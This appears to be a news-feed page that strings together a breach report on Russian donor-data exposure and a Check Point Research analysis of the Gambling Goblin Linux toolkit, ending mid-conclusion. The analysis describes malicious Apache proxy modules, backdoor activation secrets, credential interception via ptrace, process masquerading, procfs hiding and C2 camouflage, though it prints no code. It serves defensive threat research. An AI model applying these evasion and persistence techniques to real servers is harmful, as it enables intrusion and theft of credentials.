CPR advised auditing Apache and SSH configurations and hunting for rogue modules and masqueraded processes.
infosecurity-magazine.comSep 2, 2026extracted
Hackers expose donor data from Russian fundraisers for Ukrainians, political prisoners
Hackers expose donor data from Russian fundraisers for Ukrainians, political prisoners Hackers reportedly gained access to payment accounts used by two Russian fundraising projects supporting Ukrainians and political prisoners, exposing donor email addresses and limited payment card information. The unknown threat actor targeted Davayte, which raises money for civilians in Ukraine affected by Russia’s invasion, and You Are Not Alone, a project supporting Russian political prisoners and their families. Both initiatives disclosed the incidents Tuesday, saying the attacks occurred in mid-August and involved the same entry point: an integration between payment processor Stripe and WooCommerce, an open-source e-commerce plugin for WordPress, that the projects had used to conduct online auctions. The attackers obtained email addresses belonging to some donors and, in certain cases, the last four digits of their payment cards and information about the banks that issued them, according to statements from the projects. Full card numbers, cardholders’ names and details about individual donations were not exposed, they said. Stripe blocked the unauthorized access before the attackers could download the entire database of donor email addresses, the projects said, adding that Stripe had found no evidence of fraudulent transactions involving their accounts. Davayte has since disabled third-party integrations, rotated its access keys and notified the relevant European data protection authority. It remains unclear who was behind the attacks. “We are investigating this breach and cannot yet say whether it was carried out by ordinary cybercriminals or Russian security services,” You Are Not Alone said. Davayte was launched in February 2024 by several independent Russian media organizations, including Meduza and TV Rain, to provide humanitarian assistance to civilians affected by Russia’s war in Ukraine. The project says it raised more than $437,000 in 2024. You Are Not Alone has been organized by independent Russian media and opposition groups since 2023. Donations are used to provide prisoners with food and medicine, fund their prison accounts, cover legal and everyday expenses, help relatives travel for visits and assist some prisoners after their release. The campaign said it raised around $1.4 million during its first three years and has provided assistance to roughly 800 political prisoners and their relatives. Russian authorities have labeled the organizations behind both initiatives as “undesirable,” putting people in Russia who support them at risk of prosecution. Under Russian law, donating to or raising money for an “undesirable” organization can carry a prison sentence of up to five years, making information that could identify donors particularly sensitive. The incidents come amid reports that hackers have been targeting Stripe merchants more broadly, although there is no confirmed connection between those attacks and the breaches disclosed this week. Earlier in August, a hacker using the alias “Satanic” posted an archive on a cybercrime forum that allegedly contained data from 669 Stripe merchants and more than 1,000 access keys associated with their accounts. It is unclear whether Stripe itself was breached in that incident. According to independent Russian outlet The Bell, records in the leaked archive end on June 1, meaning the data stolen from Davayte and You Are Not Alone in August could not have been part of that dataset. The outlet reported that Davayte had asked Stripe for information that could help establish whether other customers of the service had encountered similar activity. Stripe did not respond to a request for comment. Following the breach, You Are Not Alone advised people who live in or travel to Russia, as well as those required to report foreign bank transactions to Russian tax authorities, not to donate using foreign-issued cards. The organization has never accepted payments from Russian-issued cards. Davayte has similarly urged donors to exercise caution if they plan to travel to Russia. Daryna Antoniuk is a reporter for Recorded Future News based in Ukraine. She writes about cybersecurity startups, cyberattacks in Eastern Europe and the state of the cyberwar between Ukraine and Russia. She previously was a tech reporter for Forbes Ukraine. Her work has also been published at Sifted, The Kyiv Independent and The Kyiv Post.
therecord.mediaSep 2, 2026extracted
Gaming the system: how a Chinese-speaking actor turned Brazilian government sites into an SEO weapon
Research by: Amit Yardeni Key Points A Chinese-speaking actor is now targeting Brazil.  Check Point Research has uncovered a sustained campaign against Brazilian organizations, primarily government and educational institutions since mid-2025. We dubbed this group Gambling Goblin: a Chinese-speaking cybercrime cluster connected to a previously documented group, Earth Berberoka, that targeted gambling sites across Asia. It marks a shift from Brazil’s usual home-grown banking-trojan threats to a foreign operator moving in Compromised web servers turned into stealthy proxies.  The attackers compile and install malicious Apache modules on victim servers that silently reverse-proxy visitors to attacker-controlled phishing pages, while the traffic still appears to originate from the legitimate domain, with the site’s own security headers stripped so injected content runs freely. Large-scale SEO manipulation.  The phishing pages pose as trusted app stores such as Google Play, Microsoft Store, and Amazon. Behind that facade, they push online gambling and sports betting, and they chain together compromised high-reputation domains, many of them Brazilian government sites, to inflate search rankings and hijack traffic at scale. A broad, heavily obfuscated Linux toolkit.  Once inside a host, the group deploys custom tools – downloader ( DownPro ), multiple backdoors including the modular  AlphaAgent  and the  oRAT  RAT, a 3snake-based credential stealer, an SSH brute-forcer, and a plugin-driven reconnaissance agent. Most of them are wrapped in packing and virtualization layers to slow analysis and evade detection. The operation reaches well beyond Brazil.  We identified parallel phishing networks localized in Vietnamese, Spanish, and English, alongside infrastructure that generates fresh domains daily – evidence the model is built to scale and be exported to new regions. One step from direct malware delivery.  Because the pages already mimic app-download destinations, the same infrastructure sits a single configuration change away from pushing malware straight to victims, a latent escalation risk beyond the current search-fraud scheme. Introduction Since mid-2025, Check Point Research has tracked a sustained campaign against Brazilian organizations. The tradecraft points to a Chinese-speaking cybercrime group connected to Earth Berberoka, an actor first  documented  targeting gambling sites across Asia. Once inside a victim, the group deploys a broad Linux toolkit: a custom downloader, several backdoors, and familiar offensive utilities. Most of it arrives heavily obfuscated – wrapped in layered virtualization and packing to slow analysis and evade detection. The purpose becomes clear at the network layer. The attackers install custom Apache modules that quietly proxy visitors to a sprawling set of phishing pages. Many of those pages sit on Brazilian government domains that appear to have been compromised and repurposed without their owners’ knowledge. The reach extends beyond Brazil. We uncovered a second phishing network run by the same actor; this one is built for Vietnamese victims. The likely goal is SEO manipulation at scale. By hijacking trusted, high-reputation domains, many of them Brazilian government sites, the operators borrow that reputation to push their own content up the search rankings and hijack the traffic that follows. But the same infrastructure could serve a more dangerous end: the phishing pages impersonate app-download destinations such as Google Play, the Microsoft Store, and Amazon, which leaves the operators one step from pushing malware straight to victims. Infection Flow Figure 1 – Infection chain Initial Access We have not directly observed this group’s initial access, but a revealing artifact surfaced on one of their servers: an exposed open directory hosting an ELF binary written in Go that bundles numerous reconnaissance and scanning plugins. The toolset reads like a complete attack-surface-mapping pipeline for internet-facing targets. The group refers to this agent as “ cluster-asset-mapping ”, or “ cam-agent ” for short. It runs with a handful of flags: default  – long-lived worker session for orchestrated task dispatch f  – foreground mode without logging flog  – enable logging (use with  f ) h  – show help v  – show version Figure 2 – Cam-agent help message The agent carries a configuration that includes: worker_endpoint server_id project agent_token embedded PEM certificates and keys for the server and agent a plugin list report policies It logs to  payload-run.log  under the default directory of  /tmp/asset-scan . The agent reads the JSON report policies to decide how to run its scan. The policies are driven by the following fields: common web ports batch_size retry_count retry_backoff_seconds level Figure 3 – Network scan report policy The agent communicates with its server over gRPC, authenticating with the certificates and keys from its own configuration. It uses many known open-source pentesting tools as modules: dirprobe  – takes URLs and a directory list or profile, sends HTTP requests, and records the status code, response length, and title for each probed path. httpx  – takes URLs, ports, and HTTP options, then collects the status code, response length, title, protocol, TLS details, and banners from each target. naabu  – takes IPs or hostnames, port ranges, and a scan mode, attempts TCP connections across all targets, and marks each port as open, closed, or filtered. nuclei (v3)  – takes URLs, paths, and workflows, executes HTTP/DNS/TCP checks as defined by templates, and emits a structured result for each match (template ID, severity, affected URL, evidence). subfinder  – takes root domains, resolvers, and a depth, then enumerates subdomains via DNS brute force, certificate transparency, and passive sources, returning the discovered subdomains. whatweb  – a Wappalyzer-style fingerprinter that issues HTTP requests to each target and applies rules to identify web servers, frameworks, CMS platforms, JavaScript libraries, and more. Stealth phishing structure Apache Modules The group automates deployment of its malicious Apache module through a Bash installer. The script first confirms it is running as root, then fingerprints the host as either Debian/Ubuntu or CentOS/RedHat and pulls in the matching Apache development packages so the module can be compiled on the victim itself. It downloads the module’s C source,  opsproxy.c , from a hardcoded staging server and, notably, patches the source on the fly to insert a missing macro definition so the code compiles cleanly. This is a small touch that shows the operators built the module to run across a range of victim configurations. Compilation and installation are handled in a single step via Apache’s own  apxs  tooling, which also wires the module into the server’s configuration. What follows is a deliberate effort to hide the intrusion: the script deletes the source and all build artifacts, then timestomps the resulting  .so  and its load-configuration files to match legitimate, pre-existing Apache modules such as  mod_ssl  or  mod_suexec , so the malicious files blend in during a casual review. It then enables the stock proxy, headers, and rewrite modules the malicious module depends on, tests the configuration, and restarts Apache to bring everything live. Throughout, the script’s status messages are written in Chinese and decorated with emoji, a style that may point to AI-assisted development. Figure 4 – Checking the URL by the Apache module The source file,  opsproxy.c , reveals a purpose-built reverse proxy that quietly grafts attacker-controlled content onto a compromised web server. The module registers itself at Apache’s name-translation stage and inspects every incoming request for one of a small set of hardcoded URL prefixes which in our samples,  /wps ,  /bmw , and  /card . When a request matches, the module rewrites it into a reverse-proxy request to a corresponding upstream server hardcoded into the source, silently relaying the visitor to attacker infrastructure while the request still appears, to the outside world, to come from the legitimate compromised domain. To make that relayed content render without interference, the module strips the upstream site’s Content-Security-Policy headers. It replaces them with a deliberately permissive policy that allows inline and dynamically evaluated scripts, third-party assets, and  data:  and  blob:  sources. This removes the restrictions a browser’s CSP normally enforces, allowing injected or externally hosted scripts to execute freely. Figure 5 – CSP stripping so injected scripts can run The module also forwards the original  Host  header and adds standard proxy headers so the upstream sees a convincing request. The effect is a compromised, reputable server acting as a stealthy front door: certain paths transparently serve attacker content, and the browser protections that would ordinarily block foreign scripts are switched off for exactly those paths. Figure 6 – How the compromised .gov site relays attacker content to visitors A second ELF Apache module used by the group disguises itself as a basic filter module while registering request and response hooks that examine visitor headers, URI paths, referrers, and client IPs. It carries a static configuration, decrypts it with RC4, and parses it into two rule types: rule1  – an array of matching rules (path, referrer, or User-Agent, paired with a proxy URL) rule3  – an optional response-filtering or injection configuration Figure 7 – JSON struct example Using a compiled-in regex for  <body.*?>  to locate its injection point, the module expands placeholders such as  {host} ,  {hip} ,  {url} , and  {name} , fetches remote content with libcurl, and writes that content into Apache responses via  ap_rwrite  and bucket manipulation. This gives a remote service control over what selected visitors and crawlers see on the compromised server. This is a behavior consistent with SEO cloaking and content-injection malware. Brazilian infrastructure Fetching the content served from the three upstream IP addresses hard-coded in the proxy module reveals the phishing infrastructure itself. Each address hosts a page impersonating a trusted app-distribution platform, localized in Brazilian Portuguese ( lang="pt-BR" ) and dressed up with fabricated ratings, review counts, and structured  schema.org  metadata to appear legitimate to both users and search-engine crawlers. Figure 8 – Several phishing pages shown by the Apache module. All those IPs lean heavily on Bing’s thumbnail service ( tse-mm.bing.com ) to source imagery, tag their Open Graph and Twitter cards with  @GooglePlay  and  @microsoftstore  handles, and consistently theme around online gambling and sports betting aimed at a Brazilian audience – the actual monetization behind the campaign’s search-manipulation scheme. Tellingly, the pages carry Chinese-language CSS comments (for example a comment translating to “bottom navigation bar — fixed to the bottom on mobile, hidden on desktop”), the same operator fingerprint seen across the group’s server-side tooling. Inspecting the domain used by the second Apache module brought us to a domain called  playfootball[.]info  that has a phishing page similar to the earlier ones. Unlike the earlier upstream samples that pulled assets from Bing thumbnails and a fake CDN, this one loads Google’s real production assets – the actual  gstatic.com  Play Store CSS bundle, Material Icons fonts, and the genuine Google Play logo SVG. Figure 9 – The phishing page used by the second Apache module The most revealing finding from this page is that the app tiles and nav links don’t point to a single server; they point to dozens of real Brazilian domains, the majority of them legitimate  .gov.br  government sites, each serving the attacker’s gambling pages under paths like  /jogos  and  /nova . The compromised institutions span every level of Brazilian government. At the federal level, they include a government ministry and a national public agency. At the state level, victims include a state legislative assembly, state courts of accounts, and a state-owned utility. The largest share, however, is local government: municipal administrations spread across numerous cities and multiple states. A smaller set of commercial  .com.br  sites such as local news outlets, health clinics, and business associations rounds out the victims. Beyond Brazil As we pivoted through the phishing infrastructure, the trail led well beyond Brazil. Several of the IP addresses hosted subdomain and domain generators, giving the operators a fresh supply of domains every day – a rotation scheme built to outpace blocklists and takedowns. Figure 10 – Domain generator used by the group Some of the generated domains pointed to adult-content and gambling sites aimed at a Chinese-speaking audience, tying the infrastructure back to the operators’ origin and their long-running focus on the gambling sector. Figure 11 – A gambling site in Chinese from the domain generator list More telling, we found phishing pages built on the same template as the Brazilian ones, but localized in Vietnamese, Spanish, and English. The Brazilian operation is not a one-off: the same playbook is being adapted for other regions, and the infrastructure is clearly built to scale. Figure 12 – Phishing pages in Vietnamese and English The Attacker’s Arsenal Across these intrusions, the group draws on two kinds of tooling: well-known offensive utilities that any attacker might reach for, such as  netcat ,  fscan , and  pwnkit , and a broad set of custom tools written by the operators themselves: a downloader, several backdoors, a credential stealer, and purpose-built reconnaissance scripts. The sections below focus on that custom toolkit, which is where the group’s tradecraft shows. DownPro A downloader written in Go, referred to internally as  DownPro . Its job is to pull the rest of the toolkit onto a freshly compromised host and launch it. The binary is driven by a handful of flags, and a telling detail stands out immediately: their help strings are written in both English and Chinese. The flags are: u  – URL of the main backdoor to download id  – URL of the ChUser payload up  – URL of the  unix_updates  payload (the PasswordHarvester) j  – offline URL encryptor mode: it takes a plaintext URL via  u  and outputs the ciphertext to use as the flag value in real runs logs  – where to write logs The values passed to these flags are AES-GCM encrypted with a hardcoded key and Base64-encoded, so the operator supplies pre-encrypted URLs at runtime rather than leaving them in the clear. DownPro  then decides where to drop its payload based on its effective UID, preparing two sets of candidate destination paths: one for root, one for non-root. Running as root, it selects one of: /usr/local/bin/systemd-udevd /usr/local/bin/rsync-tsl /usr/local/bin/tcp-tsl /usr/local/bin/snapd-ext /usr/local/bin/fsck-disk /usr/local/bin/nftables-init These names are chosen to blend into a Linux server environment, either mimicking legitimate system components or looking like ordinary utility and network helpers. Running without root, it instead generates one of two temp-style names designed to pass as routine disk clutter: /tmp/php_sess_<32_hex_chars>  – mimicking a PHP session file /tmp/private-tmp-<5_alnum_chars>  – looking like an ephemeral temp artifact With the destination chosen, it downloads the file from the  -u  URL and executes it with the argument  -si . Figure 13 – DownPro main logic The two optional payloads are handled separately. When the  -id  flag is set,  DownPro  downloads a file to  /usr/bin/chuser , sets its permissions to  0755 , changes its owner to root, and timestomps it to match  /bin/ls  and turning it into a setuid helper that serves as a persistent local privilege-escalation backdoor. When the  -up  flag is set, it downloads a file to  /usr/sbin/unix_updates  and runs it with  -v FuckMe#988 , then strips the setuid bit from  /usr/bin/pkexec . ChUser A simple backdoor that masquerades as a  chuser  utility. It executes commands passed through the  -c  flag, but only after passing one of two activation checks: Remote HTTP activation  – the backdoor builds a  curl  command using the  -x <version>  flag and runs it. Activation succeeds only if the command’s output matches the expected value,  chuser no version . Local MD5-based activation  – the backdoor concatenates a user-supplied secret (from the  -s <secret>  flag) with a hardcoded salt,  FuCkMe# , computes the MD5 of  secret + salt , and compares it against a hardcoded target hash. Activation succeeds only on a match. PasswordHarvester A credential stealer based on  3snake  that monitors newly executed authentication programs, including  sshd ,  sudo ,  su ,  doas ,  ssh ,  ssh-add ,  passwd ,  kinit , and  login . On startup, it sets a clean  PATH  environment variable and installs signal handlers so the daemon can log and exit cleanly. It runs only as root, exiting otherwise, and gates execution behind a covert activation switch: the CRC32 of the  -v  argument must match a hardcoded value. Figure 14: CRC32 gate Once the CRC gate passes, the stealer resolves the host’s name and IPv4 addresses, then daemonizes by forking, calling  umask(0)  so it can freely control file permissions, changing its working directory to  /tmp , and redirecting stdout and stderr to a file. To hide itself, it picks at random from roughly 29 fake process names, such as: [kworker/1:2] [ksoftirqd/0] [watchdog/0] [systemd] [dbus-daemon] [journald] [migration/0] [ksmd] It overwrites the original  argv  with the chosen name and calls  prctl  to change the kernel-visible task name to match. The core logic then opens a netlink socket and subscribes to process events ( PROC_CN_MCAST_LISTEN ). On every process execution or UID change event, it checks whether the process name or command line matches one of the target programs listed above. When a match falls outside the expected path prefixes, it enters the interceptor flow: it attaches to the target with  ptrace , reads the credential buffers, and exfiltrates them to its C2, RC4-encrypted and Base64-encoded. AlphaAgent A modular backdoor written in Go, built to land quietly, blend into a busy host, take orders over an encrypted channel, and hand its operator everything they need to work through a network. On launch, AlphaAgent first checks whether it was invoked to finish an upgrade, so an in-progress self-update can complete cleanly. It then parses its command-line flags, validates its configured role and transport, and generates a Device ID from either the victim’s MAC address or the username combined with a hardcoded salt ( e*f#1%0d$6&5=6 ). After checking its debug flags ( DEBUG ,  VERBOSE , or neither), it decrypts its configuration strings using AES-GCM with a hardcoded key. Figure 19 – Device ID generation The configuration holds the region blocklist, the transport role and mode, the C2 domain, the TLS SNI camouflage value used for the certificates, and the directory, filename, and loader names for the rootkit. With its configuration in hand, the agent goes to ground. It renames its own process to pass as a kernel thread or a system daemon, choosing the disguise from its configuration profile and applying it by rewriting  argv[0]  or calling  prctl . The profiles are: aws  →  /usr/sbin/amazon-master  or  /usr/local/sbin/amazon-proxy google  →  /usr/bin/google_user_agent  or  /usr/bin/google_proxy_agent aliyun  →  rsyslogd general  → one of a set of kernel-thread-style names: "dbus-daemon -n%d" "scsi_eh_%d" "[migration/%d]" "[cpuhp/%d]" "[kworker/u%d:1]" "[watchdog/%d]" "[kswapd%d]" When not running as root, it falls back to  php-fpm: pool www  or  nginx: worker process . AlphaAgent then detaches into the background and writes a PID lock file under an innocuous path so that only one copy runs. It sleeps for a randomized interval which is long enough to outlast a quick sandbox detonation, and checks where it is running: if the host’s country matches the operators’ blocklist (China, in the samples we analyzed), the agent simply exits. Only after clearing that geofence does it enter its connect-and-retry loop and reach out to the server. Finally, if the  -r  flag is set at execution, AlphaAgent checks whether the rootkit’s kernel module is already loaded. If it is not, the agent installs it; the rootkit ships embedded inside the binary via Go’s  embed.FS  API. In all the samples we analyzed, we haven’t found any rootkits, only placeholders. Once connected, the agent enrolls, starts a heartbeat, and subscribes for jobs. How it talks to its server is a build-time choice, and each option is designed to look like something benign. The primary channel is  gRPC over HTTPS . The agent’s gRPC transport is built as a publish/subscribe service. The agent subscribes to receive jobs and publishes results back, and on top of that base, it opens dedicated streams for each interactive function rather than multiplexing everything through one pipe. There are separate streams for the web terminal, for uploads, for downloads, and for keepalive pings, and each exists in two directions an operator-facing set and an agent-facing set. That separation keeps a live terminal session responsive while a large file transfer runs in parallel. Three design choices make this channel hard to spot on the wire: uTLS fingerprint mimicry.  The agent uses a library that forges the TLS handshake of a real browser, so fingerprint-based detection (JA3/JA4-style) sees a normal Chrome-like client, not a Go program. Google and Cloudflare camouflage.  It presents  api.google.com  as its server name, serves a  .google.com  certificate, and dresses its HTTPS heartbeats as Google traffic with decoy cookies ( NID ,  SID , and similar) plus a custom proof scheme carried in Cloudflare-style parameters ( _cf_auth_ts ,  _cf_auth_nonce ,  _cf_auth_method ). The heartbeat side exposes handler paths like  /agent/heartbeat  and  /notifications/v1/push  to complete the illusion of a Google notification service. Encryption beneath the encryption.  Job and result messages are themselves AES-GCM encrypted before they travel inside the TLS session. Even an analyst who terminates the TLS still faces an encrypted payload. The Message fields of the communication: Message Message field 1: string cid (label=optional) - connection ID field 2: string mid (label=optional) - Message ID field 3: int32 command (label=optional) - specific command to run field 4: bytes data (label=optional) - data for command field 5: string topic (label=optional) - channel name field 6: bytes encrypted_data (label=optional) - encrypted payload field 7: string sid (label=optional) - stream ID field 8: string file_name (label=optional) - if there is a file field 9: string file_action (label=optional) - can be upload / download / delete / list The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through ,  which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled. The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled. Whichever channel it uses, the agent bootstraps through public DoH and GeoIP providers such as Cloudflare, Google, ipinfo, and others, both to resolve its server and to run the geofence check described above. At the center of the agent is a single job dispatcher. The server sends a numbered command; the dispatcher routes it to the matching handler. That design keeps the protocol compact and makes the feature set easy to summarize. The sections below cover the ones that matter most. Remote shell and interactive terminal  – The workhorse is remote command execution. A shell job is joined into a single string and run through  /bin/sh -c , and the combined output is captured and returned to the operator. The agent takes care to keep this quiet. It sets  HISTFILE=/dev/null  so commands leave no shell history behind. For interactive work, the agent goes beyond one-shot commands. It can allocate a real pseudo-terminal, launch a shell inside it, and stream that terminal to the operator as a browser-based “webtty” session. This gives an attacker a live, interactive shell with full terminal behavior, not just fire-and-forget commands, which is what you want for hands-on-keyboard operations. File Operations  – File handling is complete in both directions. The agent can download files to the host and upload files from it, with both direct and streamed transfer paths for larger data transfers. Alongside transfer, a file browser lets the operator list directories and walk the filesystem interactively before deciding what to take. Together, these turn the backdoor into a remote file manager for the compromised host. Tunneling and pivoting –  This is where the agent shows its intent to move laterally. It bundles a SOCKS5 proxy, a yamux-based multiplexer, and a Ligolo-style relay, turning the compromised host into a pivot point for the operators’ traffic. A dedicated relay mode lets the agent listen for inbound connections and forward them, so one foothold can open a path into the rest of an internal network. In the tunneling paths, certificate verification is deliberately turned off to keep the relay flexible. Relay Tunneling  – AlphaAgent can also be deployed not as an implant but as a  relay node . The agent validates a configured role at startup, and, in its tunnel-edge role, starts a listener and forwards traffic upstream to the command-and-control server on a different port, preserving the same gRPC streams. It uses its own embedded node token to identify itself in this mode. In other words, the operators can seed both endpoints – victims that call home and relay nodes that concentrate and forward that traffic – from one codebase. One build even carries a tag pointing to a specific tunnel geography ( [dns-hktun / Hong Kong] ), suggesting the relay tier is planned around location. Discovery and collection –  The reconnaissance is aimed squarely at spreading. Beyond a standard host and network inventory: hostname, users, running services, active network connections, interface addresses, and virtualization hints, the agent reads login history from  wtmp ,  utmp , and the system authentication logs, and enumerates current SSH sessions. It can then archive a victim’s  .ssh  directory and  .bash_history  into a compressed bundle for exfiltration. Read who logged in, grab their keys and history, and use the tunnel to reach the next host: the collection features are built to feed lateral movement, not just to profile a single machine. Worth flagging: the host inventory the agent sends home includes a  virtualization role  field, meaning the agent reports back whether it believes it is running inside a virtual machine or sandbox. That gives the operators a chance to abandon or lie low on analysis systems before doing anything noisy. AI Plugin  – The newest build we found, introduces something the earlier versions do not have: an AI plugin execution path. The evidence is currently limited to internal strings. The agent logs executing AI plugins when it runs one and recovers from failures through an AI plugin panic handler, so we can confirm the capability exists and is guarded like a first-class feature, but the sample does not reveal what the plugin is or does. In the code AlphaAgent gets scripts probably written by an AI orchestrator on the server side named “ ai_plugin_%s.sh ”, runs them and sends the result to the C2. Evasions  – The agent invests heavily in remaining unseen. It renames its process to impersonate legitimate kernel threads and services entries like  [kworker/...] ,  [kswapd...] ,  nginx: worker process , or  rsyslogd  and overwrites its own command-line arguments so tools that read them see the disguise too. It suppresses its own output to  /dev/null  and detaches as a daemon. Some builds go further and hide the process outright. On command, the agent can bind-mount over its own  /proc  entry, making itself invisible to anything that reads the process table – a lightweight but effective trick that needs no kernel module. Other builds do carry a kernel-module component, controlled through custom device commands, that hides processes and network connections at the kernel level and can stage an additional loader fetched from the operator. The encrypted configuration and the traffic camouflage described earlier round out an evasion posture that spans disk, process table, and network. One variant is packaged to defeat analysis itself. It is wrapped in a protector that strips the file’s structure, unpacks the real payload only in memory, obfuscates its internals, and watches for a debugger, popping a decoy error and exiting the moment it detects one. Same feature set underneath, hardened against the analyst. The full list of commands: Command IDArgsDescription2server parametersgRPC tunnel4server parametersSocksProxy (using Ligolo-ng)8command stringshell command execution10path, recursivefile browser / directory listing12processname, argv_nameprocess name spoofing14strings of several commandsMulti command AUTOSTART16connection hide + remote install + streaming upload18Install new Rootkit20Uninstall rootkit22unmount process –  CommandRunUNINSTALL 24Http based file transfer26gRPC file upload28gRPC file download30Tun socks relay start32Tun socks relay stop38Hide process via bind mount40Get SSH and bash history42System information collector44Registration acknowledgement46AI plugin execution48Agent upgrade oRAT oRAT is a Go-based Linux remote access trojan built for full remote administration of a compromised host. It starts with decrypting the configuration baked into the binary that contains: the C2 address, the install paths, the process disguise, and the hiding flags all live inside one encrypted blob and are only unpacked in memory. Unless told to skip it, the agent then runs its preparation routine, and this is where most of the damage is done before any traffic leaves the box. It configures logging to  /dev/null  by default, daemonizes, disables SELinux enforcement ( setenforce 0 ), installs itself to a persistent location, registers a service, writes a GUID, takes a file lock so only one copy runs, deletes its original on-disk copy if it was relocated, and optionally hides its own process. Only after all of that does it enter its main loop of communication. The agent’s communication routine supports three transports, selected by config: tcp  – a raw TCP connection stcp  – TLS over TCP sudp  – QUIC over UDP, using the quic-go library On top of whichever transport it picks, oRAT layers a multiplexed session and speaks HTTP through it. It uses a standard Go HTTP client, but rewrites the client’s dialer so every request is carried inside the established oRAT session instead of hitting the network directly. The agent registers with the server by posting a join request to  /join , then serves operator commands as REST-style routes over that same tunnel. Because oRAT exposes its capabilities as HTTP routes, its feature set reads almost like API documentation. The operator API includes: RouteCapability /agent/info Report host details (distribution, kernel, and more) /agent/ping Liveness check /agent/exec Run an operator-supplied command /agent/upload Write an uploaded file to a chosen path /agent/download Retrieve a file from the host /agent/screenshot Capture and return a screen image /agent/zip  ·  /agent/unzip Archive or extract chosen paths /agent/portscan Scan hosts and ports from the victim /agent/proxy Open a SOCKS proxy through the host /agent/net Forward a raw TCP connection to any target /agent/ssh Reach an embedded SSH / SFTP server /agent/upgrade Replace the running binary /agent/kill-self Delete the agent and exit oRAT offers two paths to run commands, and the second is the more interesting. The direct path is a command route that hands operator input to  sh -c  and returns the output, standard RAT behavior. The richer path is a fully  embedded SSH server . oRAT builds its own SSH service into the agent, complete with a hardcoded RSA host key, password authentication, port-forwarding, and an SFTP handler. When an operator connects, the agent spawns an interactive shell: trying  zsh , then  bash , then  sh  with proper pseudo-terminal handling. In practice, the operator gets a real SSH session and SFTP file access on the target, tunneled through the C2 channel rather than exposed on a listening port. oRAT’s persistence is quiet and well chosen. It installs itself to  /usr/local/bin/xtables-addons  and registers a systemd service named  xtables-addons , wired into the standard multi-user target so it starts on boot as root.  xtables-addons  is a real netfilter/iptables extension package, so an administrator glancing at the process list or the service table sees what looks like legitimate firewall tooling. If the agent lacks the privileges for a system-wide install, it falls back to per-user persistence through a user service and a cron entry. It also hides its identity in an unexpected place. The agent stores its GUID by appending a  # GUID: <uuid>  comment line to  /etc/protocols , a legitimate system file no one thinks to check. Its lock file sits at  /tmp/.lock . The evasion posture is layered and Linux-native: Process masquerade.  The agent sets its process name to  sshd: root@pts/0 , so it reads in the process table as an interactive root SSH session. One build reinforces this by spoofing its executable path as  /usr/sbin/sshd . Procfs hiding.  When its mount mode is enabled, the agent bind-mounts over its own  /proc/<pid>  entry, disrupting inspection of the running process through the proc filesystem. Silent by default.  Logging goes to  /dev/null  unless a specific debug environment variable is set. Together, these span the process table, the filesystem, the security policy, and the kernel’s view of the process, a broad effort to make the agent hard to notice and harder to inspect. BruteForcer An SSH credential-checking and brute-force utility. It reads target IP addresses ( -f  flag), usernames ( -u  flag), passwords ( -p  flag), or pre-combined  user:pass  pairs ( -up  flag) from operator-supplied files, then attempts concurrent SSH logins against each target. Successful credentials are printed and appended in plaintext to a local results file,  res.txt . The binary has no hardcoded C2 infrastructure or persistence mechanism and its sole purpose is credential access against remote SSH services. Recon Scripts In some of the attacks we observed a number of Bash scripts with Chinese-language comments used by the attackers. The first,  info.sh , proceeds in four stages. It first pulls recent login activity to profile who uses the box. It then walks every user’s home directory, including root’s, to inventory  .ssh  folders, flag any files containing private keys, and comb  .bash_history  for sensitive commands involving SSH, SCP, database clients, cloud tooling, credentials, and  kubectl , a fast way to harvest reusable secrets and understand the victim’s workflows. The third stage is the most refined: a storage analysis that hunts for remote network mounts (NFS, CIFS/Samba, WebDAV, cloud FUSE) and Docker volumes while deliberately filtering out overlay, tmpfs, and container-ID noise, so the operator sees only genuine lateral-movement targets rather than local container clutter – a sign the author iterated on the tool to cut false positives. Finally, it gathers classic lateral-movement intelligence:  /etc/hosts  entries, local listening TCP ports, and the ARP neighbor table to reveal adjacent hosts on the network. Figure 15 – Third stage of info.sh The second script,  findweb.sh , surveys a compromised host’s web-server landscape and maps out every site it serves. It first detects which web servers are running (Nginx, Apache, or httpd) using several fallback methods, and extends the check to containerized deployments by inspecting Docker for web-server images and any containers publishing ports 80 or 443 to the host. Where possible, it reports the ports each server listens on. It then parses the server configurations directly: for Nginx it walks the common configuration directories, resolving symbolic links and de-duplicating by real path, then extracts each virtual host’s domain ( server_name ), web root, and any  proxy_pass  upstreams; for Apache and httpd it does the equivalent, pulling  DocumentRoot ,  ServerName , and  ServerAlias  from every  VirtualHost  block across the standard Debian, RedHat, and common control-panel configuration paths. The result is a concise inventory of every domain hosted on the machine, where each site’s files live on disk, and where any existing reverse-proxy rules already point. In the context of this campaign, that inventory is exactly what an operator needs to weaponize a compromised server: it reveals which trusted domains are available to abuse, the exact web roots to plant content in, and where to graft the malicious proxy module so that attacker pages are served under a legitimate site’s name. Attribution and links to prior work We assess with medium-to-high confidence that  Gambling Goblin  is tied to  Earth Berberoka –  a Chinese-speaking threat cluster first documented by  Trend Micro  in 2022. Earth Berberoka is known for targeting online gambling platforms that serve Chinese-speaking users and operators, and for working across Windows, Linux, and macOS with a mix of aged commodity RATs and purpose-built tooling. Our assessment rests on three independent overlaps: the malware, the operator artifacts, and the network infrastructure. Tooling.  The group’s use of oRAT is the clearest link. oRAT was tied to Earth Berberoka in 2022, and the variant we analyzed shares the same  orat/cmd/agent  codebase and REST-style operator routes. The connection extends to the group’s custom malware: one of the AlphaAgent samples we recovered was uploaded in the same archive as other tools previously attributed to Earth Berberoka, placing AlphaAgent directly alongside the group’s known toolset rather than merely resembling it. Operator artifacts.  The focus on the online gambling sector and the Chinese-language strings scattered across this campaign’s tooling (dual-language flag descriptions, Chinese script comments, and Chinese-language page artifacts) align with operator fingerprints seen in the group’s past campaigns. Infrastructure.  The group has a documented habit of registering domains that impersonate trusted platforms. Trend Micro reported  github[.]wiki  as an Earth Berberoka domain while the infrastructure behind Gambling Goblin follows the same playbook: lookalike domains such as  github[.]la  and  gitlab[.]bet  closely mirror that tradecraft. Reinforcing the link, many of the C2 servers in this campaign are hosted on the same Amazon ASN ( AS16509 ) the group has relied on before. Conclusion This campaign marks a shift in who targets Brazil, and why. For years, the threats facing Brazilian users came mostly from home grown banking trojan crews. Brazil is a natural target for this kind 